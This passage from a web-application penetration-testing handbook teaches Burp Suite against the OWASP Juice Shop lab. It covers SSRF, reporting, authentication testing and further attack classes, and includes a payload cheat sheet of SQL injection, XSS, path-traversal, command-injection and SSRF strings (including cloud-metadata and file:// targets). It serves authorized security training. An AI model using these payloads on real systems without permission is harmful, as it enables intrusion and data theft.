Right-click request → Engagement tools → Generate CSRF PoC
Open the resulting HTML in another tab while logged into Juice Shop. If the action succeeds, CSRF protection is missing.
CH 22A09 — Security Logging & Monitoring Failures
Silent attacks are successful attacks
22.1 What to test
- Brute-force 100 passwords. Does the app lock you out? Email the user? Log it?
- Trigger an obvious SQLi probe. Anything in
/var/log/or the SIEM? - Sensitive actions (password change, admin access) — are audit logs viewable?
- Are logs writable / forgeable from user input?
22.2 Tester's role
This category is hardest to assess from outside. Findings come from interviews + sample log review. From Burp, you can provoke events the team should detect, then ask "did your tools see it?"
CH 23A10 — Server-Side Request Forgery (SSRF)
"Make the server fetch a URL of your choosing"
23.1 Concept
Some features take a URL as input — image avatars, webhook configs, PDF render-from-URL, "import RSS feed". If the back-end fetches that URL without validating, an attacker can target:
http://localhost/admin— internal services not exposed externally.http://169.254.169.254/...— AWS instance metadata (IAM creds!).file:///etc/passwd— local files viafile://protocol.gopher://,dict://— exotic protocols sometimes accepted by curl-based fetchers.
23.2 Burp Collaborator
Burp Pro provides Collaborator — a unique DNS/HTTP server that captures any callback. Place a Collaborator URL in any field that might be fetched server-side, wait, and check the Collaborator client for hits. Confirms blind SSRF.
23.3 Juice Shop walkthrough — image-import
- Profile page accepts a "profile picture URL".
- Submit
http://localhost:3000/ftp/package.json.bakas the URL. - Server fetches it and (depending on validation) might serve it as your avatar — leaking internal-only files.
23.4 Methodology
| Why? | Developers see "URL field" as data; the back-end treats it as a target. |
| What? | Webhooks, avatar URLs, PDF gen, link previews, OAuth callback URLs. |
| When? | Any feature that takes user input that becomes a URL fetched server-side. |
| How? | Burp Collaborator (Pro) or your own VPS with logging; localhost / metadata / file:// payloads. |
CH 24Reporting your findings
An undisputed finding is a fixed bug
24.1 Anatomy of a great finding
- Title — short, specific, OWASP-mapped. "Reflected XSS in /search via q parameter (A03)".
- Severity — CVSS 3.1 score.
- Description — one paragraph the dev can read in 30 seconds.
- Steps to reproduce — numbered, with the exact request.
- Evidence — Burp screenshot + raw request/response.
- Impact — what the attacker actually gains.
- Remediation — concrete fix, with library / function names.
- References — OWASP cheat sheet, CWE ID.
24.2 Severity guidance
| Severity | Examples |
|---|---|
| Critical | Pre-auth RCE, full admin takeover, mass PII leak. |
| High | Authenticated RCE, vertical privilege escalation, blind SSRF to metadata. |
| Medium | Stored XSS, IDOR with limited blast radius, weak hashing of stored passwords. |
| Low | Reflected XSS requiring user click, missing security headers. |
| Informational | Verbose error messages, outdated banner. |
24.3 Don't pad the report
Five carefully written highs are worth more than thirty findings dominated by "Server header reveals nginx 1.18". Lead with what really hurts.
CH 25Cheat sheets & payload library
25.1 SQL injection
' OR 1=1--
" OR 1=1--
') OR 1=1--
admin'--
' UNION SELECT NULL,NULL,NULL--
' AND SLEEP(5)--
1; SELECT pg_sleep(5)--
1' AND extractvalue(1,concat(0x7e,(SELECT version())))--
25.2 XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
"><script>alert(1)</script>
javascript:alert(1)
<body onload=alert(1)>
25.3 Path / LFI
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252fetc%252fpasswd
....//....//etc/passwd
\..\..\..\windows\win.ini
25.4 Command injection
; id
| id
&& id
`id`
$(id)
%0Aid
25.5 SSRF
http://localhost/
http://127.0.0.1:8080/
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
25.6 Useful Burp shortcuts
| Ctrl+R | Send to Repeater |
| Ctrl+I | Send to Intruder |
| Ctrl+Space | Send request (Repeater) |
| Ctrl+U | URL-decode selection |
| Ctrl+Shift+U | URL-encode selection |
| Ctrl+F | Find in current panel |
25.7 Useful curl one-liners
# Re-issue a captured request
curl -k -X POST 'http://localhost:3000/rest/user/login' \
-H 'Content-Type: application/json' \
-d '{"email":"admin@juice-sh.op","password":"admin123"}'
# Fetch with bearer token
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/Users
# Send through Burp
curl --proxy http://127.0.0.1:8080 -k https://localhost:3000/
25.8 OWASP Top 10 (2021) at a glance
CH 26Glossary
| BApp | Burp App — extension for Burp Suite. |
| CSP | Content Security Policy. |
| CSRF | Cross-Site Request Forgery. |
| CORS | Cross-Origin Resource Sharing. |
| CVE | Common Vulnerabilities & Exposures — public bug ID. |
| CVSS | Common Vulnerability Scoring System (severity 0–10). |
| DOM | Document Object Model — the live tree of HTML elements in your browser. |
| IDOR | Insecure Direct Object Reference (horizontal access control). |
| JWT | JSON Web Token — signed self-contained token. |
| MITM | Man-In-The-Middle — attacker between client and server. |
| OWASP | Open Worldwide Application Security Project. |
| PoC | Proof of Concept — minimal demo of a bug. |
| RCE | Remote Code Execution. |
| SOP | Same-Origin Policy. |
| SQLi | SQL Injection. |
| SSRF | Server-Side Request Forgery. |
| WAF | Web Application Firewall. |
| XSS | Cross-Site Scripting. |
| XXE | XML eXternal Entity injection. |
CH 27Where to go next
Practice labs
- PortSwigger Web Security Academy — free hosted labs (portswigger.net/web-security). Pairs perfectly with Burp.
- OWASP Juice Shop challenges — finish all 100+ in the score-board (
/#/score-board). - HackTheBox / TryHackMe — paid, broader scope.
- Bug bounty (after 6 months) — HackerOne, Bugcrowd; read public reports first.
Reading
- The Web Application Hacker's Handbook — Stuttard & Pinto.
- Real-World Bug Hunting — Peter Yaworski.
- OWASP Cheat Sheet Series (cheatsheetseries.owasp.org).
- PortSwigger research blog — best free advanced content on the web.
Certifications (when you're ready)
- PortSwigger Burp Suite Certified Practitioner — directly tests Burp + Top-10 skills.
- OSCP / OSWA — broader pentest certs.
- eWPTX — web-app focused.
One last reminder
The skills in this book are powerful and equally able to do harm. Operate only on systems you own or have written permission to test. Hack legally. Hack with consent. Have fun.
APP APre-engagement & scoping — what to do before Burp
Most rookies open Burp first. Pros open a notepad first.
Skipping pre-engagement is the #1 reason a junior tester gets stuck, lost, or blocked midway. 30 minutes here saves 8 hours later.
A.1 Rules of engagement (RoE)
Before you fire a single request, get written answers to these questions. Even on Juice Shop, practise saying them out loud — they're the conversation you'll have with every client.
| Question | Why it matters |
|---|---|
| What hosts / URLs / IPs are in scope? | Hitting an out-of-scope subdomain can void the engagement and have legal consequences. |
| What's explicitly out of scope? | Often: third-party SaaS, auth providers, payment gateways. |
| What kinds of attacks are forbidden? | DDoS, brute-forcing live users, phishing employees. |
| Production or staging? | If prod, you must avoid destructive operations (delete user, mass orders). |
| Are there test accounts? | You need at least 2 normal + 1 admin to test access controls. |
| Time window? Who's the SOC contact? | So your traffic isn't mistaken for a real attack and the team isn't paged. |
| Where do findings go? | JIRA, secure email, encrypted PDF — agree the channel. |
| What's the test type? | Black box / gray box / white box — affects depth and time. |
A.2 Black box vs gray box vs white box
| Type | What you have | Best for |
|---|---|---|
| Black box | Just a URL. | Simulating an external attacker. |
| Gray box | Test creds + light docs. | Most real engagements — deeper coverage in same time. |
| White box | Source code, architecture diagrams, creds. | Maximum depth; finds logic + crypto bugs others miss. |
A.3 Test data and accounts
Always demand at least:
- Two normal-privilege accounts (Alice, Bob) — for IDOR/authorisation testing.
- One admin account.
- One inactive / locked / expired account — to test edge cases.
- An email address you control — for password resets, MFA, notifications.
A.4 Threat-model in 10 minutes (STRIDE-lite)
Before testing, jot one line per STRIDE category for the target:
| S.T.R.I.D.E. | For Juice Shop, this means… |
|---|---|
| Spoofing | Logging in as another user via SQLi or stolen JWT. |
| Tampering | Changing basket prices, order quantities. |
| Repudiation | Placing an order without leaving an audit trail. |
| Information disclosure | Reading other users' baskets, leaking the FTP folder. |
| Denial of service | Race-conditions, expensive search queries. |
| Elevation of privilege | Becoming admin from a normal account. |
A.5 Pre-flight checklist
- Scope written down and acknowledged.
- Test accounts working (login each one once).
- Burp project file saved with a sensible name.
- Scope set in Burp (Target → Scope).
- Display filter on HTTP history set to "Show only in-scope".
- Browser using Burp's CA + correct profile.
- Note-taking template ready (markdown or OneNote / Obsidian).
- Wordlists copied to
~/wordlists/.
APP BWhy we check what we check — the business case
"What does the company actually lose if I'm wrong about this?"
Every test exists because someone, somewhere, lost real money or trust to that bug. This appendix gives you a one-line "why" for each control — useful when management asks why are we paying for this.
B.1 Why we test access controls (xauth / authorization)
| Asks | "Can user A read/edit/delete user B's data?" "Can a customer become admin?" |
| Real-world impact | Mass data leaks (Snapchat, Facebook, Uber), regulatory fines (GDPR, HIPAA), full takeover. |
| Why it exists | Front-end devs assume the UI is the gate — it isn't. APIs are the real gate. |
| Easy to find? | Yes — swap object IDs, swap tokens, replay requests as another role. |
B.2 Why we test CORS
| Asks | "Can a malicious website read this site's API responses while my user is logged in?" |
| Real-world impact | Cross-origin theft of profile data, tokens, transaction history with one visit to evil.com. |
| Why it exists | "Allow all origins for ease of dev" copy-pasted into prod. |
B.3 Why we test SQL / NoSQL / command injection
| Asks | "Does the back-end build queries by string concatenation?" |
| Real-world impact | Whole-database dump, RCE on the DB host, ransomware, billions in fines (Equifax 2017). |
| Why it exists | Speed-coded prototypes that survived to production; ORM bypass via raw(). |
B.4 Why we test XSS
| Asks | "Can attacker-controlled text run as JavaScript in another user's browser?" |
| Real-world impact | Session hijack, keylogging, defacement, drive-by malware. British Airways 2018: 380K cards via XSS-injected skimmer. |
| Why it exists | Templates that emit user input without escaping; "trusted" admin views. |
B.5 Why we test JWT and tokens
| Asks | "Can I forge a token, change my role, replay an old token, or crack the secret?" |
| Real-world impact | Logging in as anyone, bypassing MFA, impersonating support staff. |
| Why it exists | Library footguns (alg:none), 4-character demo secrets that ship to prod. |
B.6 Why we test encoding handling
| Asks | "What happens when I double-URL-encode? Mix UTF-8 overlongs? Send raw bytes?" |
| Real-world impact | Defeats WAFs and naive blocklists, smuggles payloads past sanitisers. |
| Why it exists | Multiple parsers in the chain (CDN → WAF → app → DB) decode at different times. |
B.7 Why we test cryptography & transport
| Asks | "Are passwords hashed properly, secrets stored safely, TLS strong?" |
| Real-world impact | Cracked passwords reused everywhere; cleartext PII in logs/backups; downgrade attacks. |
| Why it exists | "It works in dev" — and crypto failures rarely show up in functional tests. |
B.8 Why we test misconfiguration & exposure
| Asks | "Are debug routes / admin UIs / cloud metadata / .git folders exposed?" |
| Real-world impact | Capital One 2019: cloud metadata via SSRF + misconfigured WAF leaked 100M records. |
| Why it exists | Default-on debug, infra drift, copy-pasted Dockerfiles. |
B.9 Why we test SSRF
| Asks | "Can user input become a URL the server fetches without validation?" |
| Real-world impact | Pivot into internal networks, steal cloud IAM credentials, hit private admin APIs. |
| Why it exists | "Profile picture URL" / "import RSS" / webhooks / PDF-from-URL look harmless. |
B.10 Why we test session handling
| Asks | "Are cookies flagged correctly, sessions invalidated on logout, tokens rotated on privilege change?" |
| Real-world impact | Stolen session = stolen account. No logout invalidation = stolen sessions live forever. |
B.11 Why we test logging & monitoring
| Asks | "If an attacker did this, would anyone notice in time?" |
| Real-world impact | Every breach report's longest dwell-time bullet point. The Verizon DBIR repeatedly shows mean detection time in months. |
Use this in reports
For every finding, paste the matching "Why it exists / Real-world impact" line into the Impact section of your report. Non-technical readers will finally care.
APP CBurp power features you'll wish you knew earlier
The features that take you from "I can intercept" to "I can automate testing of any app".
C.1 Match and replace
Burp can auto-rewrite parts of every request/response on the fly. Settings → Tools → Proxy → Match and replace.
Common rules a tester pre-loads:
| Rule | Match | Replace | Why |
|---|---|---|---|
| Add evil header | (empty req header) | X-Forwarded-For: 127.0.0.1 | Test trust in spoofable IP headers. |
| Strip CSP | Content-Security-Policy:[^\r\n]* | (empty) | Trigger XSS that CSP would block, prove the underlying bug exists. |
| Force admin role in JSON | "role":"user" | "role":"admin" | Find mass-assignment fast. |
| Disable cache | If-None-Match:[^\r\n]* | (empty) | Always get fresh responses. |
C.2 Session-handling rules & macros
What if a token expires every 15 minutes mid-attack? Configure a macro that re-logs in, plus a session-handling rule that runs the macro whenever Burp sees an expired-token response.
- Settings → Sessions → Macros → Add. Record a login flow.
- Session handling rules → Add. Set a scope (e.g. only Repeater + Intruder), and an action: "If response matches
401ortoken expired— run the macro and resend the original request." - Now Intruder runs for hours unattended.
C.3 Burp Collaborator (deeper)
Collaborator is a public DNS/HTTP/SMTP server PortSwigger runs. Each click of Insert Collaborator payload gives you a unique subdomain. Anything that contacts it is logged with timestamp + source IP — the only reliable way to confirm blind bugs (blind XSS, blind SSRF, out-of-band SQLi).
You can also self-host a private Collaborator on a VPS for client-confidentiality — the Pro version supports it.
C.4 Project files vs temporary projects
Always start a real engagement with New project on disk. Burp checkpoints every request, every comment, every Repeater tab. You can resume tomorrow exactly where you stopped. Temporary projects discard on exit.
C.5 WebSocket testing
Modern apps (chat, dashboards, trading) use WebSockets. In Burp, Proxy → WebSockets history shows frames flowing in both directions. Right-click any frame → Send to Repeater for the WebSocket version of Repeater.
C.6 HTTP/2 and gRPC
Burp natively translates HTTP/2 to text. For gRPC, install the Protobuf Decoder extension; supply the .proto files if you have them.
C.7 Mobile / API testing
Mobile apps and curl-based clients won't honour browser proxy settings. Two options:
- Invisible proxy — Burp listener bound to
0.0.0.0:8080in invisible mode; redirect device traffic with iptables / hosts. - Per-device proxy — set the proxy in iOS/Android Wi-Fi settings, install Burp's CA on the device.
C.8 Saving evidence cleanly
Right-click a request → Copy as curl command for a 1-line repro. Or Save item for an XML you can attach to a ticket. Or Send to Comparer to diff two requests/responses.
C.9 Burp shortcuts you'll wear out
| Ctrl+R | Send to Repeater |
| Ctrl+I | Send to Intruder |
| Ctrl+Space | Send Repeater request |
| Ctrl+U / Ctrl+Shift+U | URL decode / encode selection |
| Ctrl+B | Base64-decode selection |
| Ctrl+F | Find in current panel |
| Ctrl+Shift+D | Discard interception (drop) |
APP DAuthentication test plan — the deep dive
Half of all critical bugs live in the login / signup / reset flows.
D.1 Username enumeration
Does the app reveal whether a username exists? Submit a known and an unknown user; compare:
- Response body ("user not found" vs "wrong password").
- Response status code.
- Response length (Burp Intruder column).
- Response time (bcrypt only runs if the user exists).
D.2 Account lockout
After how many failed logins does the account lock? Is the lockout per-IP, per-user, or both? Try with proxies / X-Forwarded-For rotation.
D.3 Password policy & storage
- Try
password,123456,aaa— does the app accept them? - Try absurdly long passwords (10,000 chars) — DoS via slow bcrypt?
- If a leaked DB is rumoured, confirm the hash format from a forgotten-password / signup error.
D.4 Session management
| Session timeout | Leave a session idle 60 mins; does it still work? |
| Concurrent sessions | Log in twice from two browsers; does the first session survive? |
| Logout | Capture the JWT after logout; can you still call API with it? |
| Privilege change | If a user is promoted to admin, do their old tokens get the new role too? |
D.5 Password reset flow
- Submit a reset for a known user. Capture the email link in Burp's logs (or an inbox you control).
- Inspect the token: long & random? Or 6-digit numeric? Or predictable (timestamp + email)?
- Try reusing a used token.
- Try the token after expiry.
- Try changing the user-id parameter on the reset confirmation request (account takeover via reset).
- Try the reset request with
Host: evil.com— does the email link containhttps://evil.com/...? (Host-header injection in password reset is a classic.)
D.6 "Remember me"
Decode the cookie. Is it just base64(username:password)? userid+timestamp? Predictable values lead to mass impersonation.
D.7 Multi-factor auth (MFA)
- Skip the OTP step by deleting the parameter or sending the next request directly.
- Brute-force the 6-digit OTP — is there rate limiting?
- OTP timing window — does an old OTP still work 5 minutes later?
- Race-condition between password and MFA submission.
- Backup-code endpoint — is it rate-limited like the OTP?
D.8 Session fixation
Capture the session cookie before login. Log in. Did the cookie change? If no, an attacker can pre-set a victim's cookie and hijack the session post-login.
APP ETests beyond the OWASP Top 10 (asked on every job)
The Top 10 is a starting point, not the menu.
These vulnerabilities don't have a Top-10 letter but show up on practically every real engagement. A trainer would say: if you don't list these in your test plan, you're not done.
E.1 File-upload abuse
Find every form that takes a file and try:
- Upload
.php,.jsp,.aspx,.htmlwith valid image headers. - Upload a file with a double extension (
shell.php.jpg). - Upload a zip-bomb / a 10 GB file.
- Upload a SVG containing JavaScript (stored XSS).
- Upload an XML containing entities (XXE).
- Try traversal in the filename (
../../etc/passwd). - Where is the upload served from? Same origin = stored XSS risk.
E.2 Host header injection
Replay any request with Host: evil.com. Does the response or generated email URL reflect evil.com? Common in password-reset emails — a critical bug.
E.3 Open redirect
Look for ?url=, ?next=, ?return= parameters. Send ?url=https://evil.com. If the server 302's there, you can phish users with a perfect-looking real-domain link.
E.4 Click-jacking
Does the response set X-Frame-Options or CSP frame-ancestors? If not, an iframe overlay attack is possible. Quick test:
<iframe src="http://target/sensitive-action" style="opacity:.0001"></iframe>
E.5 HTTP request smuggling
When a front-end and back-end disagree about where a request ends, attackers can smuggle a second request hidden in the first. Burp Pro's HTTP Request Smuggler extension automates detection. Symptom: a 200 response that returns another user's data.
E.6 Web cache poisoning & deception
Send a request with a poisonous header (e.g. X-Forwarded-Host: evil.com). If the CDN caches the response, every subsequent visitor gets your poisoned page. Look for cache hits via Age, X-Cache, CF-Cache-Status headers.
E.7 Subdomain takeover
Common when a CNAME points at an unclaimed cloud resource (S3 bucket, Heroku app, GitHub Pages). Tooling: nuclei -t takeovers/. Bug bounty gold.
E.8 Server-Side Template Injection (SSTI)
If user input lands in a server-side template (Jinja, Twig, Velocity), inputs like {{7*7}} render as 49. Often leads to RCE.
E.9 Prototype pollution
Modern JS apps merge user JSON deeply into objects. Send {"__proto__":{"isAdmin":true}} in any JSON body. If subsequent requests treat you as admin — pollution.
E.10 Business-logic abuse
- Race conditions on coupons, gift cards, refunds.
- Negative quantities in baskets / withdrawals.
- Skipping required steps (pay first, ship without paying).
- Replaying a one-time-use endpoint.
E.11 WebSocket-specific
- Cross-site WebSocket hijacking (CSWSH) — like CSRF, for WS.
- Authentication only on the HTTP upgrade — re-test once connected.
- Authorisation per-message — can a normal user send "admin" frames?
APP FCoverage matrix / test plan checklist
Use this as your "tick-and-screenshot" sheet for every engagement.
| Area | Check | Tested? | Burp tool |
|---|---|---|---|
| Recon | Tech stack identified (Wappalyzer) | ☐ | Browser ext |
| Subdomain enum done | ☐ | amass / subfinder | |
| JS bundle reviewed for endpoints & secrets | ☐ | Repeater + grep | |
| Headers | HSTS / CSP / XFO / XCTO present | ☐ | Proxy → response inspector |
| Cookies have HttpOnly/Secure/SameSite | ☐ | Proxy | |
| CORS doesn't reflect arbitrary Origin | ☐ | Repeater | |
| Auth | Username enumeration absent | ☐ | Repeater |
| Account lockout works | ☐ | Intruder | |
| Password reset secure (token, host header) | ☐ | Repeater | |
| MFA can't be skipped / brute-forced | ☐ | Repeater + Intruder | |
| Authorisation | Horizontal — IDOR on every object ID | ☐ | Autorize |
| Vertical — admin endpoints reject regular tokens | ☐ | Repeater | |
| Force-browse hidden routes | ☐ | Intruder + wordlist | |
| Sessions / tokens | JWT signature checked, alg locked | ☐ | JWT Editor |
| Logout invalidates token | ☐ | Repeater | |
| Session fixation absent | ☐ | Browser cookies | |
| Injection | SQLi probed on every parameter | ☐ | Repeater / sqlmap |
| NoSQL probed (Mongo, etc.) | ☐ | Repeater | |
| Command injection on system calls | ☐ | Repeater + Collaborator | |
| SSTI on templated input | ☐ | Repeater | |
| XSS | Reflected on every parameter | ☐ | Repeater + Intruder |
| Stored on every persisted field | ☐ | Manual + Collaborator | |
| DOM-based via sources/sinks | ☐ | DOM Invader (Burp) | |
| Files / data | File upload extension & content-type checks | ☐ | Repeater |
| Path-traversal on filenames | ☐ | Repeater | |
| XXE on XML endpoints | ☐ | Repeater + Collaborator | |
| Misc | Open redirect on redirect params | ☐ | Repeater |
| SSRF on URL params | ☐ | Collaborator | |
| Click-jacking iframe test | ☐ | Browser | |
| Logic | Race conditions on critical flows | ☐ | Turbo Intruder |
| Negative-quantity / step-skipping | ☐ | Repeater |
APP GTroubleshooting Burp — when nothing works
The first 30 minutes of any new lab.
| Symptom | Most likely cause | Fix |
|---|---|---|
| HTTP history is empty | Browser not using Burp's proxy | Re-check Firefox proxy settings; use Burp's bundled browser as a quick test. |
| "Your connection is not secure" on every HTTPS site | Burp's CA not trusted by the browser | Browse http://burp, download cert, import into Authorities. |
| Some sites work, some don't | App is using HSTS or cert pinning | Use a fresh Firefox profile. For pinned mobile apps, you'll need an unpinning tool (Frida) — out of scope here. |
| Mixed content blocked | Page over HTTPS calling HTTP resources Burp re-encodes | Right-click target → Force use HTTP/2; or set Burp listener to redirect. |
| Burp "Connection refused" on intercept | App is talking to an unresolvable hostname | Edit /etc/hosts or use Burp's Hostname resolution override. |
| Burp is slow to load big responses | Default heap too small | Edit burpsuite-startup and bump -Xmx to 4–8 GB. |
| Repeater shows "no response" | Server closed the connection on a malformed request | Hit Inspector → Update Content-Length; resend. |
| Intercept stuck on favicon / fonts | You forgot to set scope filter | Proxy → Intercept → only intercept requests in scope. |
| Login session keeps expiring during Intruder | Token expired, no session-handling rule | Configure macro + session rule (App C.2). |
| WebSocket frames not appearing | Filter | Proxy → WebSockets history (separate from HTTP). |
APP HCompanion tools — when Burp isn't the right hammer
Burp is the cockpit. These are the wing instruments.
| Tool | Use it for | Burp synergy |
|---|---|---|
ffuf / dirsearch / gobuster | Fast directory + parameter brute-forcing. | Pipe results into Burp scope; faster than Intruder Community. |
nuclei | Template-based vuln scanner; CVE checks, takeovers. | Run before Burp to find low-hanging fruit; feed results back to Burp for verification. |
sqlmap | Industrial-strength SQLi automation. | Save a Burp request to file, then sqlmap -r req.txt. |
jwt_tool / jwt.io | JWT cracking, alg-confusion, key confusion. | Use JWT Editor inside Burp, or export tokens. |
amass / subfinder / assetfinder | Subdomain enumeration. | Pre-recon — populates Burp's scope. |
| Wappalyzer browser extension | Detects frameworks & libraries. | Identify CVEs to chase in Burp. |
nikto | Old-school web-server config scanner. | Cheap pass for misconfig findings. |
testssl.sh / nmap --script ssl-* | TLS & cipher enumeration. | Generates A02 findings. |
git-dumper | Recover full repo from exposed /.git/. | Massive impact when you find one. |
| CyberChef | Encoding / crypto playground. | For when Burp's Decoder isn't enough — multi-step recipes. |
Why not "just Burp"?
Burp is unbeatable for inspection & manual exploitation, but specialised tools (sqlmap, ffuf) are 10–100× faster for their narrow jobs. Stop the timer, switch tool, save 4 hours.
APP IJuice Shop — the quick map for self-paced practice
Treat this as your "first week of testing" reading.
I.1 Architecture in one paragraph
Juice Shop is a Node.js back-end (Express) serving a JSON REST API plus a single-page Angular front-end. SQLite holds users / products / baskets / reviews. The bundled main.js is the entire client app — a tester's gold mine.
I.2 The six API roots you'll abuse most
/rest/user/login | SQLi, auth bypass |
/rest/products/search?q= | SQLi, XSS |
/api/Users | Vertical privilege escalation |
/api/BasketItems/{id} | IDOR, negative quantity |
/rest/user/change-password | CSRF, missing-current-password |
/ftp/ | Directory traversal & exposed backups |
I.3 The score-board
Browse http://localhost:3000/#/score-board. Juice Shop hides 100+ named challenges with difficulty stars. Each one maps to a real OWASP / OWASP-adjacent class. Use it as a structured curriculum after this handbook.
I.4 First five challenges to attempt (in order)
- Find the score-board — proves you can read the JS bundle.
- Login Admin — basic SQLi (Ch 16).
- Access the administration section — vertical privilege escalation (Ch 14).
- View another user's basket — IDOR (Ch 14).
- Reflected XSS in search — DOM XSS (Ch 16).
I.5 When you get stuck
Juice Shop ships an integrated Hacking Instructor tutorial mode. F12 → run localStorage.continueCode = '...' to resume. Or read the Pwning OWASP Juice Shop book — free at pwning.owasp-juice.shop.
Capstone exercise
Set yourself a 4-hour timer. Working only from this handbook + the Juice Shop, find and document one finding per OWASP Top 10 category. Use the Appendix F checklist as your tracker. When you finish — congratulations, you're ready for a real engagement.